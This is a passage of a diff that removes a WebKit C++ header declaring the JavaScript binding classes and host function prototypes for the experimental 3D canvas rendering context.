-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasRenderingContext3D_h
-#define JSCanvasRenderingContext3D_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasRenderingContext.h"
-
-namespace WebCore {
-
-class CanvasRenderingContext3D;
-
-class JSCanvasRenderingContext3D : public JSCanvasRenderingContext {
-    typedef JSCanvasRenderingContext Base;
-public:
-    JSCanvasRenderingContext3D(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasRenderingContext3D>);
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
-
-    // Custom functions
-    JSC::JSValue bufferData(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue bufferSubData(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue texImage2D(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue texSubImage2D(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniform1fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniform1iv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniform2fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniform2iv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniform3fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniform3iv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniform4fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniform4iv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniformMatrix2fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniformMatrix3fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue uniformMatrix4fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue vertexAttrib1fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue vertexAttrib2fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue vertexAttrib3fv(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue vertexAttrib4fv(JSC::ExecState*, const JSC::ArgList&);
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-};
-
-
-class JSCanvasRenderingContext3DPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier&, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasRenderingContext3DPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-};
-
-// Functions
-
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionSizeInBytes(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionActiveTexture(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionAttachShader(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindAttribLocation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindBuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindFramebuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindRenderbuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBindTexture(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendColor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendEquation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendEquationSeparate(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendFunc(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBlendFuncSeparate(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBufferData(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionBufferSubData(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCheckFramebufferStatus(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionClear(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionClearColor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionClearDepth(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionClearStencil(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionColorMask(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCompileShader(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCopyTexImage2D(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCopyTexSubImage2D(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateBuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateFramebuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateProgram(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateRenderbuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateShader(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCreateTexture(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionCullFace(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteBuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteFramebuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteProgram(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteRenderbuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteShader(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDeleteTexture(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDepthFunc(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDepthMask(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDepthRange(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDetachShader(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDisable(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDisableVertexAttribArray(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDrawArrays(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionDrawElements(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionEnable(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionEnableVertexAttribArray(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFinish(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFlush(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFramebufferRenderbuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFramebufferTexture2D(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionFrontFace(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGenerateMipmap(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetActiveAttrib(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetActiveUniform(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetAttribLocation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetBoolean(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetBooleanv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetBufferParameteri(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetBufferParameteriv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetError(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetFloat(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetFloatv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetFramebufferAttachmentParameteri(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetFramebufferAttachmentParameteriv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetInteger(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetIntegerv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetProgrami(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetProgramiv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetProgramInfoLog(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetRenderbufferParameteri(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetRenderbufferParameteriv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetShaderi(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetShaderiv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetShaderInfoLog(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetShaderSource(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetString(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetTexParameterf(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetTexParameterfv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetTexParameteri(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetTexParameteriv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformf(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformfv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformi(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformiv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetUniformLocation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribf(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribfv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribi(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribiv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionGetVertexAttribOffset(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionHint(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsBuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsEnabled(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsFramebuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsProgram(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsRenderbuffer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsShader(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsTexture(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionLineWidth(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionLinkProgram(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionPixelStorei(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionPolygonOffset(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionReadPixels(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionReleaseShaderCompiler(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionRenderbufferStorage(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionSampleCoverage(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionScissor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionShaderSource(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilFunc(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilFuncSeparate(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilMask(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilMaskSeparate(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilOp(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilOpSeparate(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionTexParameterf(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionTexParameteri(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionTexImage2D(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionTexSubImage2D(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform1f(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform1fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform1i(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform1iv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform2f(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform2fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform2i(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform2iv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform3f(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform3fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform3i(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform3iv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform4f(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform4fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform4i(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform4iv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix2fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix3fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix4fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUseProgram(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
